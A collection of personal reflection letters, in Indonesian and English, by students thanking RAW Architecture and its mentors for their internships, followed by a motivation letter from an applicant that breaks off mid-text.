Pada awal cinta dengan arsitektur ketika pada rumah yang saya tinggal  menggunakan konsep rumah jawa kuno  dengan ciri ciri khusus salah satunya pada atap rumah joglo. Karakteristik dari atap Joglo bisa dilihat dari bentuknya yang dibuat menyerupai sebuah gunung, dengan puncak yang dibuat mendatar yang disebut sebagai Tajug. Kemudian, memutuskan untuk melanjutkan studi arsitektur di Binus university untuk mempelajari bagaimana bangunan arsitrktur bisa terbentuk dan aspek aspek yang perlu diperhatikan dalam sebuah proses perancangan dan belajar bagaimana kebudayaan suatu daerah dapat di implementasi ke dalam bangunan arsitektur modern.

RAW Architecture is the best.

Untuk memenuhi syarat untuk melaksanakan tugas akhir dari kampus, saya memutuskan untuk menjalankan enrichment program dari Binus university. RAW Architecture adalah perusahaan yang satu satunya yang saya impikan untuk mencari kebahagiaan dalam naungan kehidupan.  Pada tanggal 6 februari 2023 saya diberikan kesempatan untuk bergabung untuk menjadi bagian dari keluarga RAW achitecture. Sebuah harapan untuk mengikuti permainan dan diberikan pembekalan tentang bagaimana cara berfikir berarsitektur secara matang dan menangani permasalahan pada suatu proyek yang sedang dikerjakan. Pada awal masuk kantor RAW saya sudah disambut dengan gembira dan mengajak anak baru untuk  melakukan GUHA Touring dan memperkenalkan bagaimana kehidupan dan kebiasaan di perusahaan. Tidak terlupakan ketika moment pada jam istirahat berkumpul dan mengobrol dengan senior. Sungguh kebahagiaan memilih kantor yang tepat dan sesuai dengan yang diharapkan.

• Awal dari sebuah perjalanan

Pada awal masuk sebagai mahasiswa internship pada kantor tersebut dibekali bagaimana cara mengoprasikan sebuah software desain yang biasa digunakan untuk menunjang pekerjaan dan diajarkan secara detail. Dalam menjalankan proses desain dibutuhkan sebuah koordinasi antara semua team desain untuk merencanakan sebuah bangunan. Pada saat itulah principal architect ( KAK RICH ) berperan penting untuk memberi pengarahan bagaimana  desain arsitektur harus mengacu kepada preseden yang pernah dibuat sebelumya. Banyak cerita cerita tentang perjalanan proses desain pada bangunan terkenal di dunia yang akan diaplikasikan desain bangunan yang sedang dirancang. Hal ini dapat membuka wawasan betapa banyak aspek aspek yang harus diperhatikan dalam metode perancangan. Mentor mentor yang telah memberikan kesempatan untuk melakukan eksperimen desain  yang akan dituangkan kedalam proyek yang akan dibangun. Enjoy dalam menikmati pekerjaan dan mengikuti pengarahan dari mentor membuat kebiasaan mendesain yang tidak terasa sampai waktu mulai larut malam dan harus menyelesaikan tanggung jawab yang diberikan oleh mentor dengan sebaik baiknya. Suatu pembelajaran penting yaitu kebiasaan KAK RICH yaitu  bereksperimen menanam tumbuh tumbuhan pada area kantor dan merawatnya setiap hari. Sehingga, Tempat yang disebut GUHA dan orang orang yang didalamnya ikut merasakan kesejukan yang alami dari tanaman tersebut. Suara melodi instrumental yang terdengar di pagi hari memberikan semangat untuk mengawali kegiatan di RAW Architecture. Sungguh kehidupan yang menyenangkan bagi semua mahluk hidup.

• Merasakan pertempuran yang sebenarnya

Selama menjalani proses internship tentu tidak terlepas dari permasalahan dan tekanan. Kesalahan kesalahan kecil dapat berakibat fatal pada proses yang berikutnya. hal itulah yang ditekankan KAK RICH untuk berhati hati dalam melaksanakan suatu pekerjaan dan selalu mempertanyakan hal yang tidak mengerti meskipun hal tersebut bersifat detail sekaligus. Pengalaman meeting dengan owner dan pihak kontaktor merupaka proses pembelajaran komunikasi dan koordinasi pada semua pihak yang terlibat dalam sebuah proyek pembangunan. Hal ini sangat penting untuk menganalisis dan mengidentifikasi mulai dari kebutuhan sampai dengan permasalahan yang terjadi di lapangan. Para mentor mentor yang membimbing dan mengarahkan bagaimana cara mengatasi tekanan pekerjaan yang harus selesai sesuai dengan deadline yang telah ditentukan. Berbagai tips and trick untuk menjalankan program program desain sehingga dapat melaksanakan pekerjaan menjadi lebih cepat dan flexible.

Bukan hanya proses desain yang akan didapatkan, tetapi  ikut serta dalam menjelajahi berbagai detailing process mulai dari detail arsitektur, analisa struktur sampai penentuan sistem MEP yang tidak diajarkan di kampus. Hal ini bertujuan memperkenalkan mahasiswa bagaimana dunia arsitektur bukan hanya sekedar konsep desain, melainkan ada aspek aspek detail yang harus diperhatikan. Langkah berikutnya  yang bisa dilakukan dalam proses detail arsitektur yaitu pemilihan spesifikasi material. Beberapa material yang digunakan tentunya harus memiliki standar yang kuat, tahan lama, dan memiliki nilai estetika yang baik. Hal ini dapat berpengaruh dan penyesuaian biaya yang dikeluarkan oleh owner. Terjun Ke proyek yang sedang berjalan, mengecek progress pekerjaan dan koordinasi dengan mandor untuk mengukuti detail gambar yang telah direncanakan merupakan pengalaman yang didapakan mahasiswa internship untuk mempersiapkan pembekalan pada dunia kerja yang sesungguhnya.

• Permainan telah berakhir

Hari hari setelah 5 bulan lebih menjalankan proses internship di RAW Architecture berbagai macam perkerjaan yang telah dijalani dan berbagai ilmu yang telah dibekali. Berbagai macam moment yang menyenangkan, bahagia,tertawa, sedih, tertekan, telah dilalui bersama dengan orang orang yang berada disini. Kini saatnya harus menyelesaikan semua tanggung jawab yang telah diberikan mentor mentor dalam pekerjaan. Pesan pesan yang memberikan semangat yang melekat pada benak setiap anak intern dan tidak lupa juga dengan kata REVISI setiap menyelsaikan sebuah desain arsitektur.

Terimakasih banyak khususnya terhadap KAK Realrich Sjarief yang telah memberikan kesempatan untuk menjalankan program internship di perusahaan RAW Architecture selama 6 bulan sehingga saya dan teman teman dari Binus University bisa merasakan bagaimana dunia kerja arsitektur yang sesungguhnnya. Dan para mentor mentor yang memberikan pembekalan serta membimbing untuk meraih apa yang kami dan teman teman capai untuk mempelajari dunia arsitektur yang lebih luas.

Best Regard

Heru Setya Budi

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Halo, pekenalkan saya Rifa Raudhotul Aulia dipanggil Rifa, Mahasiswa semester 7 dari Universitas Bina Nusantara. Saya memiliki ketertarikan untuk belajar lebih di dunia arsitektur, dan desain. Sejak kecil saya sudah memiliki ketertarikan dalam dunia seni, dan saat ini saya berkuliah di jurusan Arsitektur. Dan saya memiliki kesempatan untuk belajar Arsitektur di RAW Architecture.

Sebelum lanjut saya akan bercerita sedikit mengenai perjalanan saya bisa mengenal Kak Realrich Sjarief pada saat saya menempuh semester 2 dalam perkuliahan, Kak Realrich merupakan salah satu dosen pengajar saya di kelas teknologi bangunan. Bukan hanya itu beliau juga merupakan dosen perancangan saya saat saya menempuh semester 3, namun saat itu sayangnya beliau bukan dosen pembimbing saya, namun saya tetap menikmati dan mengambil ilmu yang beliau berikan sewaktu kelas besar berlangsung.

Pada saat mengajar beliau sesekali menunjukan hasil karyanya, saya terkesan pada karyanya yang unik dan sangat mengandung unsur alam , terlihat sejuk dan alami. Beliau mengubah pola pikir saya, saya dulu berfikir bahwa bangunan justru bisa merusak alam dan seiring berjalannya waktu alam akan habis karena pembangunan semakin banyak. Namun beliau secara tidak langsung memperlihatkan bahwa bangunan juga mampu menjaga alam sekitar, dengan cara tetap memberikan area untuk mereka hidup. Karena salah satu motivasi saya menjadi seorang arsitektur adalah membuat bangunan yang juga bisa membiarkan lingkungan hijau tetap ada. Beliau sangat menginspirasi saya dan membuat saya ingin belajar lebih banyak karena saya menyukai bagaimana beliau mengajar dan bercerita tentang pengetahuan arsitekturnya yang luas.

Sebuah keberuntungan untuk saya jika memiliki kesempatan untuk belajar secara langsung dengan RAW Architecture, sebuah angan-angan saya dulu. Namun Tuhan memberikan saya keberuntungan tersebut, yap saya berkesempatan belajar dan membantu RAW Architecture secara langsung dengan menjadi anak magang di RAW Architecture. Saat saya menjalani program magang tersebut  saya mendapatkan banyak sekali pembelajaran baru dalam dunia arsitektur. Suatu hal yang belum pernah saya ketahui dan saya pelajari dalam perkuliahan saya banyak dapatkan di RAW Architecture ini.  Bukan hanya sekolah RAW Architecture juga Rumah kedua bagi saya, dimana selama 6 bulan saya merasa seperti dalam keluarga yang hangat, ceria dan juga penuh canda tawa. Sikap kekeluargaan yang dimiliki RAW sangat kental, saya merasa seperti adik yang memiliki banyak kakak-kakak yang sangat bersedia menolong jika saya merasakan kesulitan.  Banyak sekali ilmu yang saya dapatkan dari segi softkill dan juga hardskills, sering kali kakak-kakak sendiri yang menawarkan ‘ mau belajar apa lagi ‘ , ‘ aku kasih tau ya caranya ini biar kamu di kampus gampang ‘ hal-hal yang saya pikir akan saya dapatkan di perkuliahan saja, namun malah saya dapatkan saat menjalani program magang di RAW Architecture.

Jika diberi pertanyaan seperti apa RAW Architecture saya akan simple menjawab ‘rumah untuk belajar’, sebagai mahasiswa yang baru pertama kali merasakan pengalaman menjadi anak magang rasa takut dan gelisah pasti saya rasakan apalagi saat hari pertama magang tetapi semua itu hanya perasaan saya saja, yang saya rasakan di RAW Architecture bertemu dengan kakak mentor yang sabar dan bisa memberikan arahan yang baik dan bermanfaat untuk saya. Saya merasa dirangkul dan di ajak untuk belajar lebih dalam mengenai arsitektur. Dan yang kakak-kakak mentor juga sangat terbuka jika kita bertanya mengenai masa perkuliahan mereka, mereka akan bercerita dan memberikan tips and trick dalam mendesain, sederhana namun sangat berharga untuk saya. Sangat menyenangkan belajar di RAW Architecture, dari segi tempat yang setiap sudutnya estetik, pengalaman yang luar biasa, dan ilmu yang akan sangat bermanfaat untuk saya.

Dear kak Realrich Sjarief, seseorang yang selalu tersenyum sambil menyapa ‘ haii, ur oke ? ‘ ketika berpapasan dengan saya, sikap ramah nya yang sangat membekas untuk saya. Saya ingin berterimakasih sedalam-dalamnya atas kesempatan yang kak Rich berikan pada saya, terimakasih sudah memberikan saya kesempatan serta pengalamannya untuk belajar dan membantu RAW Architecture sebagai anak magang, terimakasih sudah menghargai saya dan teman-teman magang saya sebegitunya. Saya sangat bersyukur pernah dibimbing oleh kak Rich. Do’a terbaik saya untuk ka Rich bahagia dan sehat selalu.

Untuk seluruh kakak-kakak dan teman-teman magang RAW architecture dan OMAH library  terimakasih atas kesempatanNya karena di izinkan bergabung dengan kalian. Terima kasih atas pengalaman, ilmu, canda tawa, semua itu berharga untuk saya dan tidak akan saya lupakan, sekali lagi terima kasih banyak. Bahagia dan sehat selalu kakak-kakak dan teman-teman semua.

Best Regards,

Rifa Raudhotul Aulia

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“Never blame anyone in your life. Good people give you happiness. Bad people give you experience. The worst people give you lessons, and the best people give memories.” – Zig Ziglar

And I don’t know what category “RAW people” are. The good, Bad, Worst, and The Best is not enough to define how amazing and wonderful those people are.

They are…… “Extraordinary”

Because the happiness, experiences, lessons, and memories for the past 6 months with them become one of the most important parts of my life.

Halo!!

Nama saya Yunita Nurul, Uung panggilan akrabnya. Saya mahasiswa arsitektur semester 6 di BINUS University, bukan seorang pujangga yang bisa menuliskan kata-kata indah luar biasa. Namun, saya pastikan tulisan di bawah ini adalah tulus dan jujur dari hati saya. So, here’s my reflection letter [4 CHAPTERS] [STATUS: COMPLETED]

CHAPTER 1. HAPPINESS

Kebahagiaan ini dimulai ketika mendapat kabar bahwa saya diberikan kesempatan magang di RAW, studio yang saya impi-impikan sejak awal masuk perkuliahan. Terima kasih yang utama dan terbesar saya ucapkan kepada Kak Rich dan Kak Yudith atas kerendahan hatinya memberikan kesempatan kepada saya, mahasiswa biasa (saja) untuk dapat belajar banyak di ‘rumah’ ini. Tidak ada kata-kata lain yang bisa menjelaskan kesan pertama saya ketika pertama kali menginjakkan kaki ke Guha selain “GOKIL!”. Those insane curves, insane doors, insaaannneee floor plans I cloud not imagine and got lost whenever I explore the house, but it was amazing. The excitement masih bertahan selama sebulan, bahkan ketika pertama kali diajak meeting saya terlalu excited dan tidak bisa memproses pertanyaan kehidupan dari Kak Rich ketika di jalan pulang. I instead said “Im sorry, I run out energy. I got too excited and now my brain isn’t working due to starving :(“

CHAPTER 2. EXPERIENCE

It’s just…. another level. Melihat semua kakak-kakak bekerja, bagaimana “berarsitektur”, how detail RAW is both in designing and constructing, benar-benar another level. Memberikan kesempatan kepada anak magang untuk mendesain, melakukan site visit, bahkan membuat checklist apa saja yang ingin dipelajari di tempat ini belum tentu bisa didapatkan di tempat lain. RAW is trully ‘One of a Kind’.

CHAPTER 3. LESSONS

Selama beberapa bulan menjalani magang, saya menjadi sadar bahwa masih banyak kekurangan yang belum pernah saya sadari sebelumnya, baik dalam hal arsitektur maupun kehidupan. Saya sangat bersyukur belajar di tempat yang tidak hanya mengasah kemampuan berarsitektur, tetapi juga agar dapat menjadi pribadi yang baik tiap harinya. Terima kasih lagi saya ucapkan kepada Kak Rich yang selalu membagikan pelajaran kehidupan luar biasa untuk menjadi manusia yang  baik dan lebih baik. Tidak lupa terima kasih untuk kakak-kakak semua yang selalu sabar, Kak Riyan, Kak Melisa, Kak Angel, Kak Vyan, Kak Tyo, Kak Audy, Kak Mei, Kak Alim, Kak Gabby, Kak Rico, Kak Putra, Kak Janice, Kak Timbul, Kak Al, Kak Haykal, Kak Evan, dan kakak-kakak lain serta kakak-kakak OMAH dan teman-teman magang yang tidak bisa saya sebutkan satu-persatu. Realizing that I am nothing compared to them at every aspects brings the “will” to become Best of The Best Best Best agar suatu saat bisa menjadi seperti kakak-kakak semua.

CHAPTER 4. MEMORIES

“Saya sangat kagum dengan bagaimana orang-orang di dalam RAW memperlakukan satu sama lain, bagaimana Kak Rich sebagai bos dan leader juga bisa menjadi “kakak” untuk semuanya. Saya ingin menjadi bagian dari RAW, saya ingin menjadi bagian dari keluarga itu.” – kata kata tersebut saya ucapkan sebagai alasan kenapa sangat ingin masuk RAW ketika interview bersama Kak Pandu. Alasan tersebut menjadi semakin kuat setiap harinya. Perasaan dirangkul, kebahagiaan saat bercanda gurau bersama, dan kesediaan untuk mengkritik apabila memang terdapat kesalahan dan kekurangan. They are more like a “family” to me, menciptakan memorable memories tiap harinya dan sangat berat untuk berpisah dari keluarga tersebut. Namun, hidup harus tetap berjalan dan saya hanya bisa mendoakan semoga kita semua diberikan kesehatan agar bisa berkumpul bersama di lain waktu.

Thank you once again for giving me the warmest hug and smile.

Warm Regards,

Uung

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Reflection Letter:

Hallo! saya Lauritta Pradyani Wilandika, saat surat ini ditulis saya sudah mulai tercatat sebagai mahasiswa semester 7 di kampus Universitas Sriwijaya. Pada liburan semester 6 ke 7, 3 bulan liburan saya manfaatkan mengambil kegiatan magang di RAW ARCHITECTURE, yang gunanya untuk memenuhi syarat mata kuliah saya, dan juga ingin mengambil pengalaman bagaimana menjadi intern di tempat arsitek ternama, karena saya ingin mencicipi setidaknya pernah bertemu dengan arsitek ternama disaat saya masih duduk dibangku perkuliahan.

Pengalaman disini merupakan pengalaman yang tidak bisa saya lupakan, karena pengalaman ini adalah pengalaman pertama kali saya merantau jauh di kota orang, dimana saya belajar cara bersosialisasi dengan orang-orang yang sangat berbeda kultur nya dengan orang sumatera. Dimana saya mengambil contoh dari kegiatan sehari-hari sebagai anak intern di RAW saya belajar, orang-orang disini sangat memiliki semangat kerja yang tinggi yang membuat saya lebih terpacu untuk belajar lebih lagi mencari ilmu yang banyak. Terimakasih banyak kepada kak Rich sudah memberi kesempatan magang yang berharga ini, sudah memberi kesempatan untuk bertemu orang-orang yang memiliki komunikasi yang baik, Kerjasama, dan kerja keras yang sangat luar biasa.

Di hari awal magang dengan hari akhir magang, saya mendapatkan perubahan yang cukup besar pada diri saya, yang tadinya saya memiliki kepribadian yang malu dan takut akan banyak hal, sekarang sudah tidak malu lagi, sudah lebih aktif banyak bertanya dan lebih enjoy membaur dengan kakak-kakak dan teman-teman di RAW. Apalagi perubahan yang paling besar yang saya rasakan adalah, kemampuan pemahaman saya dengan ilmu arsitektur yang saya dapatkan disini. Dimana di perkuliahan, saya takut dan tidak suka dengan namanya detail dan struktur, tapi hebatnya RAW tau apa yang sebenarnya yang saya butuhkan. Saya ditemukan dengan mentor bernama Audy Kirana, hampir 2 bulan saya bersama beliau yang kebanyakan tugasnya adalah membantu tentang detail dan struktur, sehingga ketakutan akan kemampuan saya dibidang itu perlahan mulai hilang dan menjadi suka berkat ilmu yang diberikan beliau sangat detail dan jelas.

RAW, biro ini sangat tepat jika kalian ingin mencari kultur studio yang berbasis kekeluargaan, karena benar disini saya telah mendapatkan dan merasakan dari kekeluargaan itu. Dimana menyadarkan saya menjadi arsitek tidak hanya sebatas bangunan yang diperhatikan, tapi arsitek juga mementingkan kehidupan manusia sesungguhnya.

Akhir kata saya mengucapkan terimasih banyak kepada orang-orang yang telah membantu saya selama 3 bulan saya di RAW, terutama kakak-kakak yang pernah membimbing saya kak Audy, Kak Tyo, Mas Alim, Ci mei, Kak Putra, Kak Rico, Kak Riyan, Kak Angel, dan Kak Meilisa. Ilmu yang saya dapatkan dari kalian sangat bermanfaat buat basic saya untuk mengejar karir sebagai Arsitek. Sekali lagi terimakasih kakak-kakak dan teman-teman. Terimakasih RAW, semoga bisa bertemu dilain kesempatan.

Salam hangat,

Laurit

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Reflection Letter:

Hello! My name is Lauren Marxoni and I’m currently in my seventh semester studying at Bandung Institute of Technology. I am writing this to express my sincere gratitude for the opportunity to intern at RAW Architecture this past 2 months.  As my internship comes to an end, I wanted to take a moment to reflect on my experiences and the invaluable lessons I have gained during my time with RAW Architecture.

From the very first day, I was welcomed with open arms and immediately immersed in a dynamic and creative environment. Working alongside the talented and dedicated professionals at RAW Architecture has been an inspiring journey that has surpassed my expectations. The exposure to real-world projects, the chance to collaborate with other team members, and the hands-on involvement in various stages of the design process have provided me with an enriching learning experience.

I am especially grateful for the guidance and mentorship I received from Kak Riyan, Kak Melisa, Kak Angel, Teh Al, Kak Alim, Kak Tyo, and Kak Zyadi who took the time to share their expertise, provide constructive feedback, and encourage my growth as a future architect. Their insights and advice have not only improved my technical skills but also expanded my perspective on the role of architecture.

One of the most significant takeaways from my internship at RAW Architecture has been the emphasis on sustainable and innovative design solutions. The commitment to pushing the boundaries of design while prioritizing environmental responsibility has left a lasting impression on me. I am excited to incorporate these principles into my future work as an architect and contribute to creating spaces that are not only aesthetically pleasing but also sustainable and functional.

Furthermore, the collaborative and work culture at RAW Architecture has taught me the importance of effective communication, teamwork, and adaptability. I have had the privilege of working with diverse teams on challenging projects, which has sharpened my ability to work cohesively in a fast-paced and ever-evolving professional setting.

Lastly, I want to express my genuine appreciation for the support and encouragement I have received from all of my fellow interns, Nisrina, Rifa, Laurit, Fachrul, Peter, Rei, Vera, Bintang, Jonathan, Uung, Inggrid, and Heru, see you again and see you guys on top!

Once again, thank you for providing me with this exceptional learning opportunity. It has been an honor to be a part of RAW Architecture, and I look forward to the possibility of crossing paths again in the future.

Best Regards,

Lauren Marxoni

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Hi! I’m Nisrina Umniyati Fahira Warganegara, a 7th semester undergraduate architecture student at Sriwijaya University. Ever since I started learning about architecture, I have been observing and being mesmerized by several of RAW’s projects that I saw through its online publications and social media. Therefore, when I first found out that students are obligated by my university to undertake an internship program, I instantly settled myself to pursue an internship at RAW. I’ve been extremely lucky to gain the opportunity to acquire knowledge and be part of RAW family. Being able to come inside and experience Guha with my very own eyes, which previously I had only seen through ArchDaily, still feels unreal for me.

Throughout my study, I began to realize that architecture is beyond designing beautiful buildings and spaces. Architecture has its own role to increase the quality of community and environment that we live in. But despite knowing that obvious fact, I still couldn’t figure out how to apply it to my designs?  How should I design without being destructive to the environment around it? How can I ensure that my designs are sustainable and beneficial for the environment and society for a lasting impact? And there are plenty of corresponding questions that keep swirling around inside my head. I was filled with ego and desire to design buildings just the way I wanted. I was overly concerned with the appearance and aesthetics of the buildings. I merely analyzed it by thinking that “Oh, this building can still stand and be built structurally anyway,” without even bothering to think about the impacts and consequences of the design towards the surrounding environment.

As time passed while learning at RAW, I became increasingly aware and enlightened about these matters. Here in this office, little things such as the level of air hygiene, the necessity of clean oxygen released by various greenery, and so on are given utmost consideration. This brought me to the realization that in order to create a design that is mindful of its environment, it is essential to start with the little things that we tend to overlook.

Within three months of being in RAW, I was able to gain and learn so much more than I could tell. New knowledge, new experiences, new memories, new skills, and even a new family that broadened my perspective towards architecture. I learned tons of new things that could only be acquired from on-the-ground field experience. I was also shown to put a deeper meaning onto architecture, to understand that architecture is a journey of one’s own, as well as to value every phase throughout the journey. RAW allowed me to perceive architecture at its most intricate way yet most far-reaching and further-reaching way at the same time. RAW work approach taught me that in architecture, concept; details; construction; craftmanship; communication; and the help of many hands are a wholeness that complements each other. It is all about how we create harmony between each aspect —how we create harmony between the architect, the client, the design, the building, the environment, and the society.

At last, after a lengthy talk about architecture, I am truly blessed and forever grateful to spend my first internship program ever surrounded by such wonderful individuals who have always warmly embraced me with a genuine smile since the very first day I stepped foot in Guha. Three months flew by so quickly thanks to the incredibly supportive and harmonious work environment, filled with people who radiate joy. I still recall the first time I entered ‘benteng’ studio I accidentally knocked over an overflowing trash bin out of nervousness. It was probably my first humiliating moment as it ruined my first impression yet it was also the moment where I realized how RAW is filled with caring and generous people. 

Often, fellow seniors and friends would share their hardships and life experiences, allowing me to be fully enriched and enlightened about life, people, the importance of communication, the attitude to work as a team, and moreover, the worldview. I will definitely miss the laughter we used to share during lunch and dinner, the small friendly chats we used to have when we passed each other to use the restroom or to refill our water bottles, bibi’s playful jokes when we went to get our meals, the singing and pranks that seniors at ‘bamboo’ studio made when night fell, having a snooze in the super cozy Omah Library, and many more sweet memories that I will cherish forever.

Last but not least, I would like to say thank you sincerely to Kak Rich who has been willing to give me this priceless opportunity to be able to join RAW Architecture as an intern. Also, a big heartfelt thank you to all of the seniors, fellow intern friends, and all of the amazing individuals I can’t mention one by one for the enlightenment, enriching experience, inspiring mentorship, and everlasting memories. No words can describe how grateful I am. I wholeheartedly wish that RAW Architecture continues to be the best of the best!

It started as a place that I had always admired through the screen, but now it has become a place full of precious memories. A place where I experienced never-ending excitement and a burning desire to continuously learn about architecture. A place filled with extraordinary people with their own color and life backstories. A place that is not solely beautiful from the outside, but packed with beautiful people and moments on the inside as well. A perfect place to learn and fulfill my curiosity about architecture. That’s Guha. That’s where RAW Architecture is. Embedded in one of my best and favorite chapters in my book of life, marked with a rainbow-colored bookmark.

Warmest Regards,

Nisrina Umniyati Fahira W

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Hi! Peter is here. A person who is still and always looking for knowledge and experience in architecture and construction. As writing this, I am a 6th semester architecture student of Sriwijaya University. Such a lucky chance for me to be a part of Realrich Architecture Workshop as an intern. I still dont believe that i can learn about architecture with one of the best and famous architect in Indonesia.

Firstly, being an architect was not one of my dream last time. But since I jump into this thing, I think I fall in love with architecture and construction. Last time I thought that architecture was very simple, but now I know architecture is not as simple as I thought before. My first year in architecture didn’t go so smooth, that was because of my ability in manual drawing. But it is not a big problem for me anymore, I try to improve my skill in architecture by learning architecture software, so i can implement my concept there.

Time flies so fast, it’s been 3 months. I have gotten a lot of knowledges, experiences, tasks, and family here. As an intern here, I feel that i am treated and prepared as a real designer. here, i am trusted to do some design task. I’m not sure i can get this chance in another place. RAW has changed my mind about architecture. RAW has told me that every design has its own detail which must be able to applicate on site. RAW shows me the real condition of how architecture works. RAW shows me that it’s not about the client’s ego or architect’s ego, but it’s about the compromise between architect, client, and environment.

Besides that, I feel grateful to Kak Rich, Kak Yudith, and all the mentors who have accepted, treated, and taught me nicely. Thank you so much for this adorable experience and unforgettable moment in my life. Wishing you all the best everywhere you go. God Bless You

RAW Architecture Best Best Best!!

Sincerely
Peter Maretto

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Reflection Letter:

Hallo, nama saya Devy Annisa saya mahasiswa Semester 6 yang sedang menempuh S1 Akuntansi di Universitas Budi Luhur. Disemester kali ini saya berkesempatan mengambil mata kuliah magang untuk memenuhi mata kuliah disemester ini. Dan menerapkan teori yang sudah diberikan dalam perkuliahan. Saya mendapatkan tempat magang di FA DOT WORKSHOP (RAW ARCHITECTURE), sebelumnya, ini magang pertama untuk saya. Pertama kali saya magang saya sangat disambut hangat oleh seluruh karyawan disini. Saya diajarkan banyak hal mulai dari mengecek pajak, membuat laporan pajak, dan masih banyak lagi.

Tanggal 1 Februari 2023, hari dimana FA DOT WORKSHOP (RAW ARCHITECTURE) memberi saya kesempatan untuk melakukan program magang. Untuk mencapai posisi ini tidaklah mudah. Melalui tulisan ini saya mengucapkan terima kasih kepada keluarga besar FA DOT WORKSHOP (RAW ARCHITECTURE), terutama kak Rich dan kak Yudith, yang telah memberikan saya kesempatan untuk magang di FA DOT WORKSHOP (RAW ARCHITECTURE). 

Saya belajar banyak hal dari magang ini, yaitu bagaimana bekerjasama dengan baik, saling membantu, mampu berkomunikasi dengan baik dan saling berbagi ilmu. Selama magang disini, saya mendapatkan banyak ilmu dan pengalaman baru.  Pengalaman bagaimana menyelesaikan tugas yang diberikan dan bagaimana bertanggung jawab dengan apa yang telah ditugaskan kepada saya . dan pengalaman bagaimana bisa bergaul dengan para karyawan lainnya. Satu hal yang mungkin tidak akan ditemukan di tempat kerja lain, yaitu adanya rasa kekeluargaan antar karyawannya sehingga menciptakan suasana yang bersahabat dan komunikasi yang lancar tanpa adanya rasa segan tetapi dengan cara yang masih baik dan sopan. Tidak hanya itu disini saya juga belajar bagaimana menjadi seseorang yang disiplin, bagaimana cara membagi waktu, bagaimana menjadi seseorang yang aktif dalam bekerja dan bagaimana cara menjaga kekompakan, keakraban dan tali silaturahmi.

Pengalaman magang disini merupakan pengalaman yang berarti dan berharga serta pelajaran bagi saya untuk menjadi pribadi yang lebih baik lagi kedepannya. Karena tidak akan pernah saya dapatkan di perkuliahan. Dari magang disini saya telah mendapatkan gambaran bagaimana bekerja di perusahaan yang nyata. Dan dalam kegiatan unit kerja disini saya diperlakukan sama seperti karyawan lainnya, saya merasa tidak ada perbedaan antara karyawan dengan anak magang, saya senang karena karyawan disini sangat baik dan besahabat sekali.

Dua bulan telah berlalu. Terima kasih untuk semua ilmu, pengalaman, tawa dan kenangannya. Kata-kata tidak dapat menggambarkan bagaimana saya menghabiskan dua bulan terakhir di FA DOT WORKSHOP (RAW ARCHITECTURE) ini. Terima kasih banyak kepada kak Rich dan kak Yudith karena telah memberikan saya kesempatan untuk magang dan belajar banyak hal di FA DOT WORKSHOP (RAW ARCHITECTURE). Terima kasih kepada semua orang yang ada di FA DOT WORKSHOP (RAW ARCHITECTURE) sudah menyambut saya dengan senyuman. Saya berharap dapat melihat Anda semua lagi.

Harapan saya untuk FA DOT WORKSHOP ( RAW ARCHITECTURE) semoga semakin berjaya dan selalu sukses kedepannya. Untuk semua karyawan FA DOT WORKSHOP ( RAW ARCHITECTURE)  semoga selalu diberikan kesehatan dan semangat yang tinggi.

Salam

Devy Annisa

Reflection Letter:

Hi! I’m Nada, I’ve graduated from college in 2022. After graduating from college, I felt that I still had a lot to learn and find other perspectives on architecture to make me more confident and have a meaningful goal to be involved in architecture. Therefore, I decided to do an internship first before entering the real world of work.

I applied to several places to do internships. At that time, I almost gave up because no one came to informed me. Until finally I received news from RAW Architecture that I was accepted to do an internship there. After receiving the news, I felt grateful and happy and at the same time worried too, I was worried about not being compatible during the internship and because this was the first time for me to wander so there were many things that worried me. But I realized I had to be able to fight my worries because if I didn’t fight it I would never try and never know and never move forward. I have to get out of my comfort zone to become a more developed human being. After going through it, it turned out that it was not as bad as I imagined before because here I was warmly welcomed by a friendly and supportive environment so that it made my adaptation and learning process feel lighter.

I have been doing my internship here for almost 3 months and I can’t believe that my last day of internship has come. If I am asked what do I get from here? The answer is everything, because it’s my first time doing an internship at an architectural consultant, so everything is new and interesting for me to learn. Starting from the culture of working at a consultant is like, learning about conceptual to detailed development drawings, working together as a team, and many more. The thing I like the most and I look forward in here is the weekly meeting on monday because at that moment we can share and know the good and bad reality that happens in the studio and in the project. Jokes and casual talks during break time are also fun moments for me.

I want to say big thank you to Mr. Realrich Sjarief and Mrs. Laurensia Yudith for giving me the opportunity and trust to do an internship at RAW Architecture. Thank you also to all of my mentors who have given their knowledge and patience in guiding me during my internship.  To all of my fellow interns as well, thank you for makes my day colorful during this internship program. And I also apologize if there are words or deeds that are impolite during my internship.

Lastly, thank you to RAW Architecture for being a part of my journey in finding my identity in architecture. I learned a lot of new things here, and it will be an unforgettable experience for me. I wish all the best for Raw Architecture team, Good luck!

Sincerely,

Khairina Alfin Nada

Motivation Letter:

Dear RAW Architecture,

Let me introduce myself, my name is Khairina Alfin Nada, people around me usually call me Nada. I am a fresh graduate from National Institute of Technology Bandung (Itenas). Through this letter, I would like to express my interest to intern as an architectural designer in your firm.

I want to tell you about my experience while studying in the architecture department. At first, the reason I majored in architecture was simply because I liked to draw and what I knew about architecture was just study about buildings. At the beginning of learning, I was quite surprised by the learning culture in architecture, such as the studio assignments which were quite a lot, detailed, and required a lot of time to complete it. Finally, over time I can adapt and follow it well. First semester to third semester, I took lectures with enthusiasm and also always got a good grades in every subject.

Until at the end of fourth semester, I started to feel bored in going through lectures. Many questions suddenly appeared in my mind that I realized I had never asked myself these questions. Questions like, “am I really happy in this field ?, “Can I survive in this field ?”, “What am I here for ? What am I looking for here? Or during this lecture I just run it for a formality ?”. These questions keep popping up in my mind and make me dizzy and anxious. At that moment, I realized I couldn’t go on like this, I had to be able to get answers for all of these questions.

Starting from these questions, I started to find out more about architecture. I started looking at podcasts, portfolios, reading books and articles about architecture. Fortunately, little by little these activities were able to answer my anxiety and restore my sense of enthusiasm in architecture. In fact, I am increasingly curious about the world of architecture. From this activity, it also made my perspective more open to architecture and made me realize that so far in the design process, I have not interpreted it and I have less research, I only pursue the word “finished” without interpreting what I design. And I regret that I was wrong and just realized it.

To correct my mistake, in sixth semester, I started to improve my designing process. Starting from the process of designing on the design studio assignments until I also started like to take part in architectural competitions. For me, participating in competitions is a refreshing activity. I can express my designs more freely than in technical and formal coursework. I can create my imagination accompanied by critical thinking and I can also see other perspectives from group members.

During the final project, I designed a special heart and blood vessel hospital in Bandung with the theme, namely the interrelation of space with behavior. The reason I picked up that theme because I was interested in delving into how space can affect its users. Another reason is I want my final project to serve as a tool to rethink the typology of a hospital from seemingly creepy to a place that’s comfortable, quiet, and how space can proactively contribute to a healing environment, especially in the context of a stress-inducing healthcare environment.

